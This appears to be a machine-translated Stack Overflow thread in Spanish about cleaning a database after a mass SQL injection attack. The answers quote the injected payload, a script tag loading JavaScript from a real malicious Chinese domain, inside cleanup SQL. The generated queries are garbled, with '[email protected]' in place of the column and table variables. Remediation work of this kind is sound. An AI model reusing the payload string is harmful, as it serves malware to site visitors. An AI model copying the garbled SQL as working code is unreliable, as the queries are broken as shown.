2008-08-28 9 views
8

Me han encomendado el mantenimiento de un sitio web sin fines de lucro que recientemente fue víctima de un ataque de inyección SQL. Alguien explotó un formulario en el sitio para agregar texto a cada campo de texto similar disponible en la base de datos (varchar, nvarchar, etc.) que, cuando se representa como HTML, incluye y ejecuta un archivo JavaScript.¿Cuál es la mejor manera de limpiar después de una inyección SQL?

Una búsqueda en Google de la URL indica que proviene de spammers de correo electrónico con sede en Rumania o China, pero eso no es lo importante en este momento.

Revisé y eliminé manualmente la información de los campos de texto que se muestran en la mayoría de las páginas visibles y populares del sitio, pero tengo curiosidad sobre cuál sería la mejor forma programática de eliminar el texto del otro texto campos en el sitio.

Obviamente hay mucho más por hacer (endurecer el sitio contra inyecciones de SQL, usando algo como reducción en lugar de almacenar HTML, etc.) y estoy trabajando en eso, pero por el momento lo que realmente necesito es una buena forma de entrar y eliminar mediante programación el texto inyectado. Sé cuál es el texto exacto, siempre es el mismo y siempre se agrega al final de cualquier campo de texto. No puedo permitirme eliminar todo el HTML en la base de datos en este momento y no sé exactamente cuándo sucedió esto, así que no puedo retroceder a una copia de seguridad. Además, el sitio está en alojamiento compartido y no puedo conectarme a la base de datos directamente con las herramientas de SQL Server. Sin embargo, puedo ejecutar consultas en su contra, por lo que si hay alguna forma de construir una declaración de actualización de SQL con el efecto de "hey encontrar todos los campos de texto en todas las tablas de toda la base de datos y hacer esto para limpiarlos", esa sería la mejor.

Respuesta

5

Restaure los datos de una copia de seguridad reciente.

0

Esto invertirá eso, también sería prudente tomar permisos sysobject lejos del nombre de usuario de su sitio se ejecuta con y para desinfectar la entrada por supuesto

DECLARE @T VARCHAR(255),@C VARCHAR(4000) 
DECLARE Table_Cursor CURSOR FOR 
SELECT a.name,b.name FROM sysobjects a,syscolumns b WHERE a.id=b.id and a.xtype='u' and 
(b.xtype=99 or b.xtype=35 or b.xtype=231 or b.xtype=167) 
OPEN Table_Cursor 
FETCH NEXT FROM Table_Cursor INTO @T,@C 
WHILE(@@FETCH_STATUS=0) 
BEGIN 
EXEC('if exists (select 1 from ['[email protected]+'] where ['[email protected]+'] like ''%"></title><script src="http://1.verynx.cn/w.js"></script><!--'') begin print ''update ['[email protected]+'] set ['[email protected]+']=replace(['[email protected]+'],''''"></title><script src="http://1.verynx.cn/w.js"></script><!--'''','''''''') where ['[email protected]+'] like ''''%"></title><script src="http://1.verynx.cn/w.js"></script><!--'''''' end') 
FETCH NEXT FROM Table_Cursor INTO @T,@C 
END 
CLOSE Table_Cursor 
DEALLOCATE Table_Cursor 

Escribí sobre esto hace un tiempo aquí: Microsoft Has Released Tools To Address SQL Injection Attacks

1

Suponiendo que ha sido víctima del mismo ataque que los demás, el código de SQLMenace está cerca. Sin embargo, ese ataque utiliza varias URL de script diferentes, por lo que deberá personalizarlo para asegurarse de que coincida con la URL que está viendo en su base de datos.

I wrote about it as well, y el código de mi solución incluía una limpieza más genérica.

Un punto importante es que lo primero que debe hacer es eliminar el sitio. En este momento está sirviendo activamente malware a sus usuarios, y eso podría ponerlo en una situación legal más adelante. Coloque una página de marcador de posición para que sus usuarios no queden a la intemperie, pero no continúen sirviendo malware. Luego puede arreglar el sitio para asegurarse de que ya no sea vulnerable a la inyección. La forma más sencilla de hacerlo para este ataque en particular es simplemente deshabilitar los permisos de sysobjects/syscolumns para su usuario web, pero también querrá hacer una limpieza adicional o solo es cuestión de tiempo hasta que se rompa. de nuevo. Luego puede usar el código provisto para limpiar el sitio y regresarlo en vivo.

+0

enlace "Escribí sobre ello así" (http://jcoehoorn.vox.com/library/post/sql-injection-part -2.html) se redirige a la página web que muestra "Vox ahora está cerrado. Gracias por su amor y apoyo de Vox en los últimos años" –

2

que fue víctima y se puede utilizar para limpiar

UPDATE Table 
SET TextField = SUBSTRING(TextField, 1, CHARINDEX('</title', TextField) - 1) 
WHERE (ID IN (SELECT ID FROM Table WHERE (CHARINDEX('</title', Textfield, 1) > 0))) 
Cuestiones relacionadas